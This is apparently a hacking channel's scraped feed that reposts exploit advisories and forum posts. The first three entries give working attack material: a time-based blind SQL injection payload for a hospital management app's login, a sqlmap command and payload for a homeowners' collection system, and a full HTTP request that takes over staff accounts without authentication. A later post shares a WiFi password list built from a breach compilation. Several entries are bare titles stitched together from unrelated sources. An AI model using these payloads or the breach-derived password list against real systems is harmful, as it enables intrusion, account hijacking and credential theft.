Exploit Collector
Hospital Management Startup 1.0 SQL Injection

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
Hospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b58e6761039ae3e688db4b3b03140ee3

Download
## Title: Hospital Management Startup v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.10.2022
## Vendor: https://github.com/kabirkhyrul
## Software: https://github.com/kabirkhyrul/HMS
## CVE-2022-23366

## Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: loginid (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: loginid=hackedpassword=hacked' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)

## Proof and Exploit:
[href](https://streamable.com/hri9eo)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Home Owners Collection Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 6d9fb9c4e9468922de619f23b3d13514

Download
# Exploit Title: Home Owners Collection Management System 1.0 - 'id' Blind SQL Injection
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Vulnerable Code

line 68 in file "/hocms/admin/members/view_member.php"

$collection = $conn->query("SELECT * FROM `collection_list` where member_id = '{$id}' order by date(date_collected) desc");
# Sqlmap command:

sqlmap -u 'http://localhost/hocms/admin/?id=0&page=members/view_member' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch

# Output:

Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=0' AND (SELECT 9980 FROM (SELECT(SLEEP(5)))POvo)-- OyKE&page=members/view_member

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 Account Takeover

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Home Owners Collection Management System version 1.0 suffers from an unauthenticated account takeover flaw due to missing authorization controls.

MD5 | 4bde3cbe4e4d9d36a42b6adc88bebf88

Download
# Exploit Title: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Home Owners Collection Management System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to http://localhost/hocms/admin/ and Log in to the user account by changed username and password
==============================================

POST /hocms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------8012296389370411172619882391
Content-Length: 899
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju

-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="id"
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="firstname"

hi
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="lastname"

test
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="username"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="password"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="type"

1
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------8012296389370411172619882391--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress VeronaLabs WP Statistics 13.1.4 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Home Owners Collection Management System 1.0 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

100 Days of Hacking — Day 5
https://astroboy73.medium.com/100-days-of-hacking-day-5-605cda7b5ed8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Objectives of day 5 :Continue reading on Medium » (https://astroboy73.medium.com/100-days-of-hacking-day-5-605cda7b5ed8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

100 Days of Hacking - Day 6
https://astroboy73.medium.com/100-days-of-hacking-day-6-52be7a10fd99?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Objectives of day 6 :Continue reading on Medium » (https://astroboy73.medium.com/100-days-of-hacking-day-6-52be7a10fd99?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Wifi&others password cracking list

Hi all,

Here is my sorted uniq wifi dict list (made from breachcompilation torrent)

https://github.com/vladimircicovic/wifi_pass

Hope you enjoy!

submitted by /u/kernel_priest
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Personalized password list

SWIM is currently playing around with password list generators and SWIM have so far used Mentalist, Wordlister and CUPP. However SWIM feel like none of these do what SWIM wants them to do.

Nearly all passwords used to access a site will have specifications, such as a minimum amount of characters, a min. amount of special characters, numbers, capitals etc. Wordlister gives the option to set a min and a max, CUPP does not, Mentalist does not. Mentalist only allows to add a node that capitalizes the first letter in the word, or all of them, but no option in between. There are many requirements SWIM feel lack in these three scripts.

SWIM wish to create a password list containing a list of passwords created with the basewords that SWIM input, with a minimum requirement of 10 characters and at least one special symbol or/and number. Are there any other generators you would suggest or is this something SWIM should code themselves?

SWIM = Someone Who Isn't Me.

Thank you for replies.

submitted by /u/MementoAmagi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to protect a smart contract

Im wondering if a smart contract can be hacked how can a smart contract can be protected

I just want to know how safe is crypto, i am investing in it

submitted by /u/bebesitabrrr
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

100 Days of Hacking — Day 5

Objectives of day 5 :Continue reading on Medium »
Read more...

100 Days of Hacking - Day 6

Objectives of day 6 :Continue reading on Medium »
Read more...

Programming languages and Cybersecurity

Codes are fundamental blocks of logic which drives businesses all around the world today.Continue reading on Medium »
Read more...